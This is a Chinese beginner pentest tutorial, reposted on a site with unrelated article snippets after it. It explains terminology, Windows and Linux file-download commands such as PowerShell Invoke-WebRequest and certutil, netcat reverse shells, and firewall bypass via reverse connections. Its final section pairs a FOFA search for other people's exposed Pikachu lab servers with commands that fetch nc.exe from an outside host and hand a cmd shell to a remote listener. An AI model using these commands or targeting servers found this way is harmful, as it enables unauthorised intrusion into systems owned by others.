基础入门-操作系统名词文件下载反弹shell防火墙绕过

目录

基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过

知识点

参考:

演示案例

基础案例 1:操作系统-用途&命令&权限&用户&防火墙

实用案例 1:文件上传下载-->解决无图形化&解决数据传输

实用案例 2:反弹 Shell 命令-解决数据回显&解决数据通讯

结合案例 1:防火墙绕过-正向连接&反向连接&内网服务器

结合案例 2:学会了有手就行-Fofa 拿下同行 Pikachu 服务器


免责声明:本文仅做技术交流与学习,有其它违法行为请及时联系.

都是基础,会的走吧~~~ 

基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过


知识点

1、名词解释-渗透测试-漏洞&攻击&后门&代码&专业词

2、必备技能-操作系统-用途&命令&权限&用户&防火墙

3、必备技能-文件下载-缘由&场景&使用-提权&后渗透

4、必备技能-反弹命令-缘由&场景&使用-提权&后渗透

前后端,POC/EXP,Payload/Shellcode,后门/Webshell,木马/病毒, 
反弹,回显,跳板,黑白盒测试,暴力破解,社会工程学,撞库,ATT&CK 等
​
POC:验证
EXP:利用
shellcode:漏洞载荷代码
payload:利用载荷,利用管道
反弹:拿到一个webshell,将权限移交到其它服务器(地址)上去.---将权限移交到其它地方.
撞库:通过对泄露的库进行社工,利用.
ATT&CK:红蓝对抗框架.(专有名词,专业)
​

参考:

渗透测试常用术语总结 - 11阳光 - 博客园 (cnblogs.com)

MITRE ATT&CK®

【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客

[~]#棱角 ::Edge.Forum* (ywhack.com)

演示案例

基础案例 1:操作系统-用途&命令&权限&用户&防火墙

实用案例 1:文件上传下载-解决无图形化&解决数据传输

实用案例 2:反弹 Shell 命令-解决数据回显&解决数据通讯

结合案例 1:防火墙绕过-正向连接&反向连接&内网服务器

基础案例 1:操作系统-用途&命令&权限&用户&防火墙

1、个人计算机&服务器用机

2、Windows&Linux 常见命令

【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客

3、文件权限&服务权限&用户权限等

提权---为了完成某目的.

组(administrators)控制用户

windows:system最高权限,自己是administrator权限,(不能删除system文件啊)

users(普通用户),分配权限.分配组,让其享受权限.

4、系统用户&用户组&服务用户等分类

5、自带防火墙出站&入站规则策略协议

windows---自带防火墙

Linux---iptables

出站(你主动找别人)入站(别人主动找你)
宽松严格

--看走的什么协议

WAF(web防火墙)

实用案例 1:文件上传下载-->解决无图形化&解决数据传输

[~]#棱角 ::Edge.Forum* (ywhack.com)

--拿下人家后一般都是命令行.---如此进行文件上传,进行下一步操作.

Linux:wget curl python ruby perl java 等

weget:

-o 导出时为什么名字(加不加都行)

curl

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32 等

(Powershell命令区分大小写。)

powershell:()
powershell.exe -Command "Invoke-WebRequest -Uri http://ip:80/firefox.7z -OutFile fff.zip"
删除:
Remove-item .\fff.zip
Certutil :
...我不行
​

传不上去就可能是权限问题(换个目录试试)

命令问题/权限问题

实用案例 2:反弹 Shell 命令-解决数据回显&解决数据通讯

useradd 用户名 passwd 用户名

测试 Linux 系统添加用户或修改密码命令交互回显问题

---发送数据,对面接收执行,自己是否接收(不知道是否执行成功).

有些工具给你弄过去,但是没有返回回来,你也不知道成不成功啊. --->这时就要反弹shell

交互式命令问题:Linux上的passwd 用户 -->等待你输入,

webshell输入命令--这种应答式的回显不过来呀

我把一条数据发给你,你看着我,我看着你,啥也不能干.

结合案例 1:防火墙绕过-正向连接&反向连接&内网服务器

1、内网:

内网 ---> xiaodi8

xiaodi8 !---> 内网

内网 外网

假如我要控制啊里云,我发送数据过去;(内网的我-->外网)
它要返回数据回来(外网!--->内网的我;  这时就有问题了啊)
--除非建议管道.

这里用nc工具 -e参数,可以将本地cmd权限移交到 ip port上.

nc -e cmd ip port (我)

nc -lvvp port (服务器)

--->服务器成功接受

那反过来试一下的话,不行.

服务器根本找不到我.

??那怎么办??

端口映射:

先让外网找到内网的路由器接口,然后再找到我.

(以上监听的一方防火墙要关闭!!!!)

2、防火墙

xiaodi8 <-> aliyun

xiaodi8 防火墙 -> aliyun

aliyun !-> xiaodi8 防火墙

这里的两个外网的服务器相互连接也都没有问题.

(不开防火墙)

--但如果开了防火墙,那怎么办呢???

正反向问题:

入站--严格

发送权限的一方(主动把数据交出去)--入站

监听的一方--出站的流量 (防火墙拦都拦不住啊)

正反向连接(看以谁为参照物)

正向连接:主动连接别人.(发权限数据)

结合案例 2:学会了有手就行-Fofa 拿下同行 Pikachu 服务器

fofa:   "pikachu" && country="CN" && title="Get the pikachu"

--拿下同行.在线靶场.服务器.(在线靶机-->用docker容器)

文件下载&反弹 Shell:

certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe

nc.exe -e cmd ip 5566


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/303031.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis中的集群(二)

节点 集群数据结构 redisClient结构和clusterLink结构的相同和不同之处 redisClient结构和clusterLink结构都有自己的套接字描述符和输入、输出缓冲区&#xff0c;这两个结构的区别在于&#xff0c;redisClient结构中的套接字和缓冲区是用于连接客户端的&#xff0c;而clust…

Visual Studio Code 终端为管理员权限

第一部 1、 Visual Studio Code 快捷方式启动选项加上管理员启动 第二步 管理员方式运行 powershell Windows 10的任务栏自带了搜索。或者开始菜单选搜索只需在搜索框中输入powershell。 在出来的搜索结果中右击Windows PowerShell&#xff0c;然后选择以管理员方式运行。 执…

网络安全:重要性与应对措施

1. 网络安全的重要性 随着互联网的普及和信息技术的快速发展&#xff0c;网络安全问题已经变得日益突出。网络攻击者可以通过各种手段窃取个人信息、破坏系统、传播病毒等&#xff0c;给个人和社会带来巨大的损失。因此&#xff0c;网络安全已经成为信息化时代的重要问题之一。…

numpy,matplotilib学习(菜鸟教程)

所有内容均来自于&#xff1a; NumPy 教程 | 菜鸟教程 Matplotlib 教程 | 菜鸟教程 numpy模块 numpy.nditer NumPy 迭代器对象 numpy.nditer 提供了一种灵活访问一个或者多个数组元素的方式。 for x in np.nditer(a, orderF):Fortran order&#xff0c;即是列序优先&#x…

UML2.0在系统设计中的实际使用情况

目前我在系统分析设计过程中主要使用UML2.0来表达&#xff0c;使用StarUML软件做实际设计&#xff0c;操作起来基本很顺手&#xff0c;下面整理一下自己的使用情况。 1. UML2.0之十三张图 UML2.0一共13张图&#xff0c;可以分为两大类&#xff1a;结构图-静态图&#xff0c;行…

CADMap3D2024 2023下载地址及安装教程

CAD Map 3D是由Autodesk开发的一款专业的地图制作和GIS&#xff08;地理信息系统&#xff09;软件。它是AutoCAD系列软件的一个扩展&#xff0c;提供了一系列特定于地理数据的工具和功能。 CAD Map 3D主要用于处理和管理与地理空间相关的数据&#xff0c;在地图制作、城市规划…

备考分享丨云计算HCIE实验考试需要注意什么

去年九月底我在朋友的推荐下报考了誉天的云计算方向&#xff0c;在此期间我非常感谢田sir、苗苗老师和凡凡老师&#xff0c;每次我遇见问题找他们都能给我完完全全的解决&#xff0c;给我这个非科班出身的学员很大的鼓励与帮助。 我是经济学专业&#xff0c;毕业之后没有考研&…

04---webpack编写可维护的构建配置

01 构建配置抽离成npm包&#xff1b; 意义&#xff1a;通用性&#xff1a; 业务开发者无需关注构建配置 统一团队构建脚本可维护性&#xff1a;构建配置合理的拆分 质量&#xff1a;冒烟测试 单元测试 持续集成构建配置管理的可选方案&#xff1a;1 通过多个配置文件管理不同…

基于Android的记单词App系统的设计与实现

博主介绍&#xff1a;✌IT徐师兄、7年大厂程序员经历。全网粉丝15W、csdn博客专家、掘金/华为云//InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&#x1f3…

019——IIC模块驱动开发(基于EEPROM【AT24C02】和I.MX6uLL)

目录 一、 IIC基础知识 二、Linux中的IIC&#xff08;韦东山老师的学习笔记&#xff09; 1. I2C驱动程序的层次 2. I2C总线-设备-驱动模型 2.1 i2c_driver 2.2 i2c_client 三、 AT24C02 介绍 四、 AT24C02驱动开发 实验 驱动程序 应用程序 一、 IIC基础知识 总线类…

机器学习(三)

什么是特征工程 特征工程是使用专业背景知识和技巧处理数据&#xff0c;使得特征能在机器学习算法上发挥更好的作用的过程。 意义︰会直接影响机器学习的效果 特征工程的位置与数据处理的比较 pandas:—个数据读取非常方便以及基本的处理格式的工具sklearn:对于特征的处理提…

计算机视觉——Python OpenCV BGR转HSV

这里将介绍如何使用 OpenCV 与 Python 来作彩色影像转HSV(RGB to HSV 或 BGR to HSV)&#xff0c;在写 Python 影像处理程序时常会用到 OpenCV cvtColor 作颜色空间转换的功能&#xff0c;接下来介绍怎么使用 Python 搭配 OpenCV 模块来进行 RGB/BGR 转 HSV 彩色转HSV空间。 H…

(WSI分类)WSI分类文献小综述 2024

2024的WSI分类。 Multiple Instance Learning Framework with Masked Hard Instance Mining for Whole Slide Image Classification &#xff08;ICCV2024&#xff09; 由于阳性组织只占 Gi- gapixel WSI 的一小部分&#xff0c;因此现有的 MIL 方法直观上侧重于通过注意力机…

​如何使用 ArcGIS Pro 制作带贴图建筑

对于用GIS软件制作三维建筑&#xff0c;很多时候都是制作的建筑体块&#xff0c;这里为大家介绍一下怎么使用 ArcGIS Pro 制作带贴图的建筑&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的建筑数据&#xff0c;除了建筑数据&#xff0c;常见…

https的配置和使用(以腾讯云为例)

1、注册域名 2、获取证书 3、下载证书 下载下来的证书所有格式 4、在服务器上下载nginx并配置 nginx的配置文件 如下 server {listen 80;listen 443 ssl;server_name delegate.letspiu.net.cn;ssl on; #开启ssl#指定证书位置ssl_certificate /etc/ss…

【JVM】JVM 虚拟机重点解析

JVM 虚拟机重点解析 1. JVM 组成 1.1 JVM 由那些部分组成&#xff0c;运行流程是什么&#xff1f; JVM是什么 Java Virtual Machine Java程序的运行环境&#xff08;java二进制字节码的运行环境&#xff09; 好处&#xff1a; 一次编写&#xff0c;到处运行 自动内存管理…

【数组】【最长距离】使循环数组所有元素相等的最少秒数

本文涉及知识点 数组 最长距离 LeetCode2808. 使循环数组所有元素相等的最少秒数 给你一个下标从 0 开始长度为 n 的数组 nums 。 每一秒&#xff0c;你可以对数组执行以下操作&#xff1a; 对于范围在 [0, n - 1] 内的每一个下标 i &#xff0c;将 nums[i] 替换成 nums[i] …

Linux服务器上搭建深度学习环境(安装anaconda、创建虚拟环境、安装pytorch)

Linux服务器的搭配 Linux服务器上安装anaconda创建虚拟环境linux上安装pytorchxshell连接服务器 Linux服务器上安装anaconda 链接 创建虚拟环境 参考教程&#xff1a;此处 linux上安装pytorch 链接 xshell连接服务器 链接

【Ubuntu】远程连接乌班图的方式-命令行界面、图形界面

环境&#xff1a;ubuntu-22.04.2-amd64.iso连接工具&#xff1a;MobaXterm、windows自带远程桌面mstsc.exe重置root密码&#xff1a;Ubuntu默认root密码是随机的&#xff0c;需要使用命令sudo passwd 进行重置。 一、命令行界面-SSH连接 1.1 SSH远程环境搭建 # 安装ssh服务&a…

基于深度学习的电动自行车头盔佩戴检测系统

文章目录 1. 文档说明2. 运行环境说明2.1 硬件配置2.2 软件配置2.3 程序依赖库 3. 基本环境配置3.1 软件安装3.1.1 集成开发环境安装与配置3.1.2 数据库安装与配置3.1.3 编程语言安装3.1.4 CUDA和cuDNN安装与配置3.1.5 机器学习库安装 3.2 依赖库安装 4. 运行程序资源下载地 1.…